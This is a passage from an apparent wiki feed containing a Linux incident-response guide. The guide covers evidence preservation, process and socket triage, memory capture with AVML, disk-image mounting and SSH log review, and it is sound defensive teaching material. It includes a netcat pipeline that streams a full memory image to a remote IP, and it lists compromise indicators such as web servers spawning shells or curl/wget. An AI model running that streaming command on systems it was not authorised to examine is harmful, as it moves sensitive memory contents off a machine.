* [https://man7.org/linux/man-pages/ Linux man pages]. Reference for &amp;lt;code&amp;gt;ss&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;find&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;stat&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;journalctl&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;last&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;ausearch&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;mount&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;losetup&amp;lt;/code&amp;gt; and the other commands used above.&lt;br /&gt;
&lt;br /&gt;
[[Category:Linux]]&lt;/div&gt;</summary>
		<author><name>FlyingShrimps</name></author>
	</entry>
	<entry>
		<id>https://wikicyber.org/index.php?title=Attack_Analysis&amp;diff=257</id>
		<title>Attack Analysis</title>
		<link rel="alternate" type="text/html" href="https://wikicyber.org/index.php?title=Attack_Analysis&amp;diff=257"/>
		<updated>2026-10-02T22:09:17Z</updated>

		<summary type="html">&lt;p&gt;FlyingShrimps: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
{| class=&amp;quot;mw-collapsible mw-collapsed wikitable&amp;quot; style=&amp;quot;width:100%&amp;quot;&lt;br /&gt;
! Recommended Prerequisites (click to expand)&lt;br /&gt;
|-&lt;br /&gt;
|&lt;br /&gt;
&lt;br /&gt;
[[Intro to Bash]], [[Grep and Loops]], [[Introduction to Service Auditing]], [[User Auditing - Beginner]]&lt;br /&gt;
&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Attack analysis&#039;&#039;&#039; is the work you do &#039;&#039;after&#039;&#039; something has gone wrong, or when you suspect it has: for example working out how an attacker got in, what they did, whether they are still there, and what you can prove. This page will walk you through that process on a Linux system, and will use tools that ship with a typical distribution, as well as a few free forensic tools for memory and disk images.&lt;br /&gt;
&lt;br /&gt;
== Ground rules ==&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Only analyze systems you own or are explicitly authorized to examine.&#039;&#039;&#039; This one is pretty self-explanatory.&lt;br /&gt;
* &#039;&#039;&#039;Write down what you do.&#039;&#039;&#039; Keep track of all the commands you run and the time you ran them (in UTC). Your notes are how you (or someone else, like your colleague) can later tell your activity apart from the attacker&#039;s.&lt;br /&gt;
* &#039;&#039;&#039;Any indicator is a lead, but not proof.&#039;&#039;&#039; A failed-login flood, an odd file in &amp;lt;code&amp;gt;/tmp&amp;lt;/code&amp;gt; or a scanner warning each has innocent explanations. Look for several independent signs that tell the same story.&lt;br /&gt;
* &#039;&#039;&#039;Do not trust a compromised machine to tell the truth.&#039;&#039;&#039; If an attacker had administrator (root) access, they may have replaced the very commands you use to investigate. See [[#Step 5: Rootkits and tampering|Step 5]].&lt;br /&gt;
* &#039;&#039;&#039;Understand before you delete.&#039;&#039;&#039; Removing a malicious file or killing a process is tempting, but it also destroys evidence and can leave the backdoor/persistence (a cron job, an SSH key) untouched.&lt;br /&gt;
* &#039;&#039;&#039;Work on copies, read-only.&#039;&#039;&#039; Whenever you can, examine an image of the disk or memory rather than the original, mount images read-only, and record a hash (for example with &amp;lt;code&amp;gt;sha256sum&amp;lt;/code&amp;gt;) of each image when you make it so you can show later that it did not change.&lt;br /&gt;
&lt;br /&gt;
== The analysis loop ==&lt;br /&gt;
&lt;br /&gt;
Most investigations follow the same rough loop. You will often go around it more than once as new findings raise new questions.&lt;br /&gt;
&lt;br /&gt;
# &#039;&#039;&#039;Preserve&#039;&#039;&#039; evidence: memory, running state and disks, before they change or disappear.&lt;br /&gt;
# &#039;&#039;&#039;Find the way in&#039;&#039;&#039;: the initial access (a guessed password, a vulnerable web application, a stolen key).&lt;br /&gt;
# &#039;&#039;&#039;Find what they did&#039;&#039;&#039;: commands run, files touched, accounts created, data reached, etc.&lt;br /&gt;
# &#039;&#039;&#039;Find what they left behind&#039;&#039;&#039;: persistence/backdoors so they can come back.&lt;br /&gt;
# &#039;&#039;&#039;Look for hiding&#039;&#039;&#039;: rootkits and log tampering.&lt;br /&gt;
# &#039;&#039;&#039;Build a timeline&#039;&#039;&#039; that ties the above together, and check it for gaps.&lt;br /&gt;
# &#039;&#039;&#039;Contain, clean up and harden&#039;&#039;&#039;: only once you understand the scope.&lt;br /&gt;
&lt;br /&gt;
== Three ways to examine a system ==&lt;br /&gt;
&lt;br /&gt;
The same questions can be asked of a running machine, a copy of the memory of the machine, or a copy of the machines disk. Each has strengths and blind spots, and a thorough investigation will always use more than one of the following approaches.&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Approach !! What you get !! Watch out for&lt;br /&gt;
|-&lt;br /&gt;
| &#039;&#039;&#039;Live system&#039;&#039;&#039; (typed commands, or a collection tool such as UAC) || Fast. Running processes, network connections, logged-in users, files and logs, in minutes. It is often the only practical option you have when disks are huge, or the network is slow, or there are many machines. || Every command you run changes the system, and you are relying on tools the attacker may have tampered with (for example, replacing /bin/cat with a malicous script).&lt;br /&gt;
|-&lt;br /&gt;
| &#039;&#039;&#039;Memory image&#039;&#039;&#039; || Processes (including ones hidden from normal tools), network connections, loaded kernel modules, shell command history with timestamps, and data that never reaches disk. || Only exists while the machine is on. Linux analysis needs a description (&amp;quot;symbols&amp;quot;) of the exact kernel that was running, which can be hard to obtain (see [[#Going deeper: memory analysis with Volatility 3|below]]).&lt;br /&gt;
|-&lt;br /&gt;
| &#039;&#039;&#039;Disk image&#039;&#039;&#039; || Everything is stored on the disk: logs, configuration, user files, timestamps. It can only be examined read-only, so it is the safest to work with, and can be examined again and again. || There is no running state. It is also a large file. Linux disks have extra layers (LVM, RAID, encryption) to get through, and deleted files are often extremely hard to recover.&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== Where Linux keeps evidence ==&lt;br /&gt;
&lt;br /&gt;
Paths differ slightly between distributions. The main split is Debian/Ubuntu versus Red Hat family (RHEL, Fedora, Rocky, Alma).&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! What !! Where (Debian/Ubuntu) !! Where (RHEL family) !! What it tells you&lt;br /&gt;
|-&lt;br /&gt;
| Authentication and sudo || &amp;lt;code&amp;gt;/var/log/auth.log&amp;lt;/code&amp;gt; || &amp;lt;code&amp;gt;/var/log/secure&amp;lt;/code&amp;gt; || SSH logins (successful and failed), &amp;lt;code&amp;gt;sudo&amp;lt;/code&amp;gt; and &amp;lt;code&amp;gt;su&amp;lt;/code&amp;gt; use, new accounts&lt;br /&gt;
|-&lt;br /&gt;
| General system log || &amp;lt;code&amp;gt;/var/log/syslog&amp;lt;/code&amp;gt; || &amp;lt;code&amp;gt;/var/log/messages&amp;lt;/code&amp;gt; || Service starts and crashes, kernel messages, cron runs&lt;br /&gt;
|-&lt;br /&gt;
| systemd journal || &amp;lt;code&amp;gt;journalctl&amp;lt;/code&amp;gt; || &amp;lt;code&amp;gt;journalctl&amp;lt;/code&amp;gt; || The same events, indexed; the only source on systems without a syslog daemon&lt;br /&gt;
|-&lt;br /&gt;
| Login records || &amp;lt;code&amp;gt;last&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;lastb&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;lastlog&amp;lt;/code&amp;gt; (read &amp;lt;code&amp;gt;/var/log/wtmp&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;btmp&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;lastlog&amp;lt;/code&amp;gt;) || same || Who logged in, from where, and when; failed logins&lt;br /&gt;
|-&lt;br /&gt;
| Web server logs || &amp;lt;code&amp;gt;/var/log/apache2/&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;/var/log/nginx/&amp;lt;/code&amp;gt; || &amp;lt;code&amp;gt;/var/log/httpd/&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;/var/log/nginx/&amp;lt;/code&amp;gt; || Every request the web server handled (see below)&lt;br /&gt;
|-&lt;br /&gt;
| Audit framework (if installed) || &amp;lt;code&amp;gt;/var/log/audit/audit.log&amp;lt;/code&amp;gt; || &amp;lt;code&amp;gt;/var/log/audit/audit.log&amp;lt;/code&amp;gt; || File access, command execution and account changes, according to the rules configured&lt;br /&gt;
|-&lt;br /&gt;
| Package history || &amp;lt;code&amp;gt;/var/log/dpkg.log&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/var/log/apt/history.log&amp;lt;/code&amp;gt; || &amp;lt;code&amp;gt;dnf history&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/var/log/dnf.log&amp;lt;/code&amp;gt; || Software installed or removed, and when&lt;br /&gt;
|-&lt;br /&gt;
| Shell history || &amp;lt;code&amp;gt;~/.bash_history&amp;lt;/code&amp;gt; (for each user) || same || Commands a user typed (can be disabled or erased, so no command history does no necessarily mean something has gone wrong)&lt;br /&gt;
|-&lt;br /&gt;
| Scheduled tasks || &amp;lt;code&amp;gt;/etc/crontab&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/etc/cron.*&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/var/spool/cron/crontabs/&amp;lt;/code&amp;gt; || &amp;lt;code&amp;gt;/etc/crontab&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/etc/cron.*&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/var/spool/cron/&amp;lt;/code&amp;gt; || Commands that run automatically&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
If &amp;lt;code&amp;gt;/var/log/auth.log&amp;lt;/code&amp;gt; does not exist on a newer install, the system is logging to the journal only; use &amp;lt;code&amp;gt;journalctl&amp;lt;/code&amp;gt; instead.&lt;br /&gt;
&lt;br /&gt;
When you examine a &#039;&#039;&#039;mounted disk image&#039;&#039;&#039; (see [[#Working from a disk image|below]]), put the mount point in front of every one of these paths, for example &amp;lt;code&amp;gt;/mnt/data/var/log/auth.log&amp;lt;/code&amp;gt;. It is easy to read your own workstation&#039;s &amp;lt;code&amp;gt;/var/log&amp;lt;/code&amp;gt; by accident.&lt;br /&gt;
&lt;br /&gt;
== Step 1: Preserve evidence ==&lt;br /&gt;
&lt;br /&gt;
Evidence disappears in a predictable order: memory and running processes first, then temporary files, then things on disk, and finally whatever is stored somewhere the attacker cannot reach (i.e., a remote log server). Capture the most fragile evidence first, and &#039;&#039;&#039;do not reboot&#039;&#039;&#039; the machine until you have it. Where possible, write what you collect to external storage, not the compromised disk, so you do not overwrite deleted files that might matter.&lt;br /&gt;
&lt;br /&gt;
=== Live triage and volatile state ===&lt;br /&gt;
&lt;br /&gt;
If you have a way to capture memory (see the [[#Capturing memory|next section]]), do that first, as every command you type also changes what is in memory. If you do not, start with these:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
date -u; uptime                     # record the time and how long it has been up&lt;br /&gt;
who -a; w                           # who is logged in right now, and doing what&lt;br /&gt;
ps -eo pid,ppid,user,lstart,cmd --forest   # process tree with start times&lt;br /&gt;
sudo ss -tunap                      # all sockets with the owning process&lt;br /&gt;
sudo lsof -nP -i                    # network files, a second opinion on ss&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Typing commands by hand is slow and is easy to get wrong under pressure. [https://github.com/tclahr/uac UAC] (Unix-like Artifacts Collector) is a free script that gathers the important live artifacts in a few minutes (processes and their executable paths, network connections, logged-in users, user and SSH files, logs, a list of set-UID programs, hashes of executable files, and a &amp;quot;body file&amp;quot; of all file timestamps for [[#Step 6: Building a timeline|timelines]]) and saves them in one compressed archive. It can also call a memory-capture tool:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# run from the unpacked UAC directory; &amp;quot;ir_triage&amp;quot; is the quick profile, &amp;quot;full&amp;quot; adds browser and application data&lt;br /&gt;
sudo ./uac -p ir_triage /mnt/evidence&lt;br /&gt;
&lt;br /&gt;
# same as the above, but also includes a memory dump with AVML (UAC ships a configuration for it)&lt;br /&gt;
sudo ./uac -a memory_dump/avml.yaml -p ir_triage /mnt/evidence&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Option names and output folders change between UAC versions, so check the current documentation before an incident, not during an incident.&lt;br /&gt;
&lt;br /&gt;
==== Reading the process list ====&lt;br /&gt;
&lt;br /&gt;
It is important to read the process tree with the parent/child relationship in mind. On Linux the tree is mainly flat and regular, so not normal things stand out:&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;A web server with a shell (&amp;lt;code&amp;gt;sh&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;bash&amp;lt;/code&amp;gt;) or a download tool (&amp;lt;code&amp;gt;curl&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;wget&amp;lt;/code&amp;gt;) as a child&#039;&#039;&#039; is one of the most obvious indicators of a web-application compromise, because the web server has no ordinary reason to do that. In general, background services should not spawn interactive shells.&lt;br /&gt;
* &#039;&#039;&#039;Programs running from the wrong place.&#039;&#039;&#039; System programs live under &amp;lt;code&amp;gt;/usr&amp;lt;/code&amp;gt; (and third-party software under &amp;lt;code&amp;gt;/opt&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;/usr/local&amp;lt;/code&amp;gt;). A program running from &amp;lt;code&amp;gt;/tmp&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/var/tmp&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/dev/shm&amp;lt;/code&amp;gt; or someone&#039;s home directory should be scrutinized.&lt;br /&gt;
* &#039;&#039;&#039;Programs running from a deleted file.&#039;&#039;&#039; Malware can start itself and then delete its own executable, while the process keeps running. However, the file will be gone from the disk.&lt;br /&gt;
* &#039;&#039;&#039;Programs whose working directory is a hidden directory&#039;&#039;&#039; (a name starting with a dot, i.e. &amp;lt;code&amp;gt;.ssh&amp;lt;/code&amp;gt;).&lt;br /&gt;
* &#039;&#039;&#039;Orphans.&#039;&#039;&#039; When a parent process exits, its children are adopted by the init process (PID 1, usually &amp;lt;code&amp;gt;systemd&amp;lt;/code&amp;gt;), so an attacker&#039;s background job often shows a parent PID of 1. Many legitimate services look the same, so this is a reason to look, not a conclusion.&lt;br /&gt;
* &#039;&#039;&#039;Disguised names.&#039;&#039;&#039; A process can rename itself so that &amp;lt;code&amp;gt;ps&amp;lt;/code&amp;gt; shows something like &amp;lt;code&amp;gt;[kworker/3:3]&amp;lt;/code&amp;gt;, which looks like a kernel thread. Real kernel threads are children of &amp;lt;code&amp;gt;kthreadd&amp;lt;/code&amp;gt; (PID 2) and have no executable file.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# programs running from a file that has since been deleted (common for malware that removes itself)&lt;br /&gt;
sudo sh -c &#039;ls -l /proc/[0-9]*/exe&#039; 2&amp;gt;/dev/null | grep -F &#039;(deleted)&#039;&lt;br /&gt;
&lt;br /&gt;
# running programs whose executable is not under /usr, /opt or /snap (starting point, expect some noise)&lt;br /&gt;
sudo sh -c &#039;ls -l /proc/[0-9]*/exe&#039; 2&amp;gt;/dev/null | grep -vE -- &#039;-&amp;gt; /(usr|opt|snap)/&#039;&lt;br /&gt;
&lt;br /&gt;
# processes whose current directory is a hidden directory&lt;br /&gt;
sudo sh -c &#039;ls -l /proc/[0-9]*/cwd&#039; 2&amp;gt;/dev/null | grep -F &#039;/.&#039;&lt;br /&gt;
&lt;br /&gt;
# &amp;quot;kernel threads&amp;quot; that are not children of kthreadd (PID 2): probably impostors&lt;br /&gt;
ps -eo pid,ppid,user,cmd | awk &#039;$4 ~ /^\[/ &amp;amp;&amp;amp; $2 != 2 &amp;amp;&amp;amp; $1 != 2&#039;&lt;br /&gt;
&lt;br /&gt;
# what a suspicious process (PID 4188 here) is and where it lives&lt;br /&gt;
sudo ls -l /proc/4188/exe /proc/4188/cwd&lt;br /&gt;
sudo cat /proc/4188/cmdline | tr &#039;\0&#039; &#039; &#039;; echo&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Recovering a deleted program.&#039;&#039;&#039; Because the running process still holds the file open, you can copy it out of &amp;lt;code&amp;gt;/proc&amp;lt;/code&amp;gt; before you kill the process, and then hash it and study it (or look it up):&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo cp /proc/4188/exe /mnt/evidence/pid4188.bin&lt;br /&gt;
sha256sum /mnt/evidence/pid4188.bin&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Also note &#039;&#039;&#039;listening&#039;&#039;&#039; ports (&amp;lt;code&amp;gt;sudo ss -tulpn&amp;lt;/code&amp;gt;) that you cannot account for. Attackers sometimes leave a listener behind as a back door, and some tools default to well-known ports such as 4444, though a careful attacker will pick something ordinary-looking.&lt;br /&gt;
&lt;br /&gt;
==== Where attackers stage files ====&lt;br /&gt;
&lt;br /&gt;
Attackers who have not (yet) gained administrator access can still write to a few places, so these are worth checking first:&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;/tmp&amp;lt;/code&amp;gt; and &amp;lt;code&amp;gt;/var/tmp&amp;lt;/code&amp;gt;: world-writable and the classic spot.&lt;br /&gt;
* &amp;lt;code&amp;gt;/dev/shm&amp;lt;/code&amp;gt;: also world-writable, but it lives only in memory. Everything in it is lost at shutdown, which makes it attractive for files the attacker does not want found. &#039;&#039;&#039;Look in it before you power the machine off.&#039;&#039;&#039;&lt;br /&gt;
* Hidden directories (names starting with &amp;lt;code&amp;gt;.&amp;lt;/code&amp;gt;), especially ones that imitate something legitimate. For example, &amp;lt;code&amp;gt;/tmp/.ICE-unix&amp;lt;/code&amp;gt; is a normal directory on Linux desktops, so a similar-looking &amp;lt;code&amp;gt;/tmp/.ICEd-unix&amp;lt;/code&amp;gt; is designed to be overlooked. Another trick is a directory named with two dots and a trailing space (&amp;lt;code&amp;gt;.. &amp;lt;/code&amp;gt;) placed next to the real &amp;lt;code&amp;gt;..&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# hidden directories anywhere except /proc, /sys, root&#039;s home and users&#039; home directories (which have legitimate ones)&lt;br /&gt;
sudo find / \( -path /proc -o -path /sys -o -path /root -o -path &#039;/home/*&#039; \) -prune -o -type d -name &#039;.*&#039; -print 2&amp;gt;/dev/null&lt;br /&gt;
&lt;br /&gt;
sudo find /tmp /var/tmp /dev/shm -type f -ls&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Capturing memory ===&lt;br /&gt;
&lt;br /&gt;
Memory is the most fragile evidence and holds things that never reach disk. Historically you could copy &amp;lt;code&amp;gt;/dev/mem&amp;lt;/code&amp;gt; with &amp;lt;code&amp;gt;dd&amp;lt;/code&amp;gt;, but the kernel now restricts that, so you need tools.&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Tool !! How it works !! Notes&lt;br /&gt;
|-&lt;br /&gt;
| [https://github.com/microsoft/avml AVML] || Reads memory through &amp;lt;code&amp;gt;/proc/kcore&amp;lt;/code&amp;gt;. || A single program you copy to the machine. Usually the easiest choice. Writes to a file.&lt;br /&gt;
|-&lt;br /&gt;
| [https://github.com/504ensicsLabs/LiME LiME] || A kernel module you build for the machine&#039;s kernel and load || Can write straight to the network. Also works on Android.&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo ./avml /mnt/evidence/memory.lime&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Writing a multi-gigabyte file onto the suspect&#039;s own disk can overwrite deleted files you might want. Write to an external or network drive if you can. AVML insists on writing a &amp;quot;file,&amp;quot; so if there is nowhere to put one you can give it a named pipe (FIFO) that forwards the data over the network as it is written:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# on the analysis machine: listen and save (netcat options differ between versions; this is the traditional form)&lt;br /&gt;
nc -l -p 9999 &amp;gt; memory.lime&lt;br /&gt;
&lt;br /&gt;
# on the suspect machine&lt;br /&gt;
mkfifo /tmp/memfifo&lt;br /&gt;
cat /tmp/memfifo | nc -w 1 ANALYSIS_MACHINE_IP 9999 &amp;amp;&lt;br /&gt;
sudo ./avml /tmp/memfifo&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Only do this over a network you trust, as netcat does not encrypt anything. Hash the memory file when it is complete. Then check that you can actually use it, becuase Linux memory analysis often fails at the first hurdle (see [[#Going deeper: memory analysis with Volatility 3|the Volatility section]]).&lt;br /&gt;
&lt;br /&gt;
=== Capturing a disk ===&lt;br /&gt;
&lt;br /&gt;
How you image a disk depends on where the machine lives. It is best to be flexible as no single method fits every single case.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Public cloud:&#039;&#039;&#039; use the provider&#039;s documented forensic procedure (usually a snapshot of the volume that you attach to an analysis instance).&lt;br /&gt;
* &#039;&#039;&#039;Your own hypervisor:&#039;&#039;&#039; snapshot the virtual machine. That typically gives you a memory image as well as the disk. Convert the virtual disk to a raw image if your tools need it (&amp;lt;code&amp;gt;qemu-img convert&amp;lt;/code&amp;gt; does this).&lt;br /&gt;
* &#039;&#039;&#039;Physical disk:&#039;&#039;&#039; image the disk from a trusted boot environment (or through a hardware write blocker) with a forensic imager such as &amp;lt;code&amp;gt;ewfacquire&amp;lt;/code&amp;gt; (compressed E01 files) or &amp;lt;code&amp;gt;dc3dd&amp;lt;/code&amp;gt; (raw).&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# raw image with a built-in hash and log (replace /dev/sdb with the disk being imaged)&lt;br /&gt;
sudo dc3dd if=/dev/sdb of=/mnt/evidence/disk.raw hash=sha256 log=/mnt/evidence/disk.log&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Forensic imaging usually happens on machines that were not shut down cleanly (a clean shutdown usually alters the disk). As a result, the file systems in the image are often &amp;quot;dirty,&amp;quot; which matters when you mount them (below).&lt;br /&gt;
&lt;br /&gt;
== Working from a disk image ==&lt;br /&gt;
&lt;br /&gt;
Linux forensic tools generally want a &#039;&#039;&#039;raw&#039;&#039;&#039; image. Common forensic formats such as E01 must be converted or exposed as raw first. To add on to that, Linux disks are also often built in layers, and you may have to peel them back one at a time:&lt;br /&gt;
&lt;br /&gt;
# &#039;&#039;&#039;E01 container&#039;&#039;&#039; (if used): expose it as a raw disk image.&lt;br /&gt;
# &#039;&#039;&#039;Partition table:&#039;&#039;&#039; find which partitions exist and where they start.&lt;br /&gt;
# &#039;&#039;&#039;Encryption or software RAID&#039;&#039;&#039; (if used): unlock or assemble it. (Not covered.)&lt;br /&gt;
# &#039;&#039;&#039;LVM&#039;&#039;&#039; (very common): activate the logical volumes.&lt;br /&gt;
# &#039;&#039;&#039;File system:&#039;&#039;&#039; mount it read-only.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo mkdir -p /mnt/img /mnt/data&lt;br /&gt;
&lt;br /&gt;
# E01 container -&amp;gt; a virtual raw file at /mnt/img/ewf1 (read-only). Skip this if you already have a raw image.&lt;br /&gt;
sudo ewfmount Webserver.E01 /mnt/img&lt;br /&gt;
&lt;br /&gt;
# partition table to check what&#039;s inside (mmls is from The Sleuth Kit; note each partition&#039;s Start sector)&lt;br /&gt;
mmls /mnt/img/ewf1&lt;br /&gt;
&lt;br /&gt;
# attach a read-only loopback device at a partition&#039;s start (start sector x 512 bytes)&lt;br /&gt;
START_SECTOR=501760&lt;br /&gt;
sudo losetup -rf -o $((START_SECTOR*512)) /mnt/img/ewf1&lt;br /&gt;
losetup -a                       # which loop device did you get? (here: /dev/loop0)&lt;br /&gt;
file -s /dev/loop0               # confirm what is on it (for example: LVM2 PV)&lt;br /&gt;
&lt;br /&gt;
# LVM: find and activate the volume group, then list its logical volumes&lt;br /&gt;
sudo pvdisplay /dev/loop0        # note the &amp;quot;VG Name&amp;quot;&lt;br /&gt;
sudo vgscan&lt;br /&gt;
sudo vgchange -a y VOLUME_GROUP_NAME&lt;br /&gt;
sudo lvscan&lt;br /&gt;
&lt;br /&gt;
# file system: mount read-only, with no program execution allowed&lt;br /&gt;
sudo mount -o ro,noexec,noload /dev/VOLUME_GROUP_NAME/root /mnt/data&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Notes on the options:&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;ro&amp;lt;/code&amp;gt; and &amp;lt;code&amp;gt;noexec&amp;lt;/code&amp;gt;: even though the layers below are already read-only, use both anyway (it&#039;s a good habit to build), and &amp;lt;code&amp;gt;noexec&amp;lt;/code&amp;gt; stops you from accidentally running malware from the image you are investigating (which would be really, really bad).&lt;br /&gt;
* &amp;lt;code&amp;gt;noload&amp;lt;/code&amp;gt;: an image taken from a machine that was running is usually &amp;quot;dirty,&amp;quot; meaning the file system&#039;s journal has unfinished changes. A plain read-only mount then fails (check &amp;lt;code&amp;gt;dmesg | tail&amp;lt;/code&amp;gt;). &amp;lt;code&amp;gt;noload&amp;lt;/code&amp;gt; tells the ext3/ext4 driver to ignore the journal so the mount succeeds without replaying (and thus modifying) anything. The trade-off however is that the last few changes before the capture may not be visible. XFS uses &amp;lt;code&amp;gt;norecovery&amp;lt;/code&amp;gt; instead, and often also needs &amp;lt;code&amp;gt;nouuid&amp;lt;/code&amp;gt; if your workstation has a file system with the same ID.&lt;br /&gt;
* A partition that is not part of LVM (often &amp;lt;code&amp;gt;/boot&amp;lt;/code&amp;gt;) needs no LVM step: mount it straight from the image with &amp;lt;code&amp;gt;mount -o ro,noexec,loop,offset=$((START_SECTOR*512)) /mnt/img/ewf1 /mnt/data/boot&amp;lt;/code&amp;gt; (add &amp;lt;code&amp;gt;noload&amp;lt;/code&amp;gt; if it complains about the journal).&lt;br /&gt;
&lt;br /&gt;
Take the layers down in reverse order when you are done:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo umount /mnt/data&lt;br /&gt;
sudo vgchange -a n VOLUME_GROUP_NAME&lt;br /&gt;
sudo losetup -d /dev/loop0&lt;br /&gt;
sudo umount /mnt/img             # the ewfmount&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Traps when reading a mounted image:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Owner names shown by &amp;lt;code&amp;gt;ls -l&amp;lt;/code&amp;gt; come from &#039;&#039;&#039;your workstation&#039;s&#039;&#039;&#039; &amp;lt;code&amp;gt;/etc/passwd&amp;lt;/code&amp;gt;, not the image&#039;s, so UID 1001 might display as the wrong person. Use &amp;lt;code&amp;gt;ls -ln&amp;lt;/code&amp;gt; (numbers) or look up the IDs in the image&#039;s own &amp;lt;code&amp;gt;/mnt/data/etc/passwd&amp;lt;/code&amp;gt;.&lt;br /&gt;
* Absolute symbolic links inside the image point at your own system&#039;s files, not the image&#039;s. Check with &amp;lt;code&amp;gt;readlink&amp;lt;/code&amp;gt; instead of simply blindly trusting what a link shows you.&lt;br /&gt;
* Most tools can read a copy of a log directly: &amp;lt;code&amp;gt;last -aiF -f /mnt/data/var/log/wtmp&amp;lt;/code&amp;gt;, or &amp;lt;code&amp;gt;journalctl -D /mnt/data/var/log/journal&amp;lt;/code&amp;gt; (if the system kept a persistent journal).&lt;br /&gt;
&lt;br /&gt;
== Step 2: Find the way in ==&lt;br /&gt;
&lt;br /&gt;
=== Remote login (SSH) ===&lt;br /&gt;
&lt;br /&gt;
Password guessing against SSH is constant background noise on any internet-facing host. The question is not &amp;quot;was I attacked?&amp;quot; (you were, of course) but &amp;quot;did any guess succeed?&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# which addresses failed the most (the address is the 4th field from the end of the line)&lt;br /&gt;
sudo grep &amp;quot;Failed password&amp;quot; /var/log/auth.log | awk &#039;{print $(NF-3)}&#039; | sort | uniq -c | sort -nr | head&lt;br /&gt;
&lt;br /&gt;
# did any of them ever get in?&lt;br /&gt;
sudo grep &amp;quot;Accepted&amp;quot; /var/log/auth.log&lt;br /&gt;
&lt;br /&gt;
# every event involving one address, in order&lt;br /&gt;
sudo grep -E &amp;quot;Failed|Accepted&amp;quot; /var/log/auth.log | grep 198.51.100.7&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
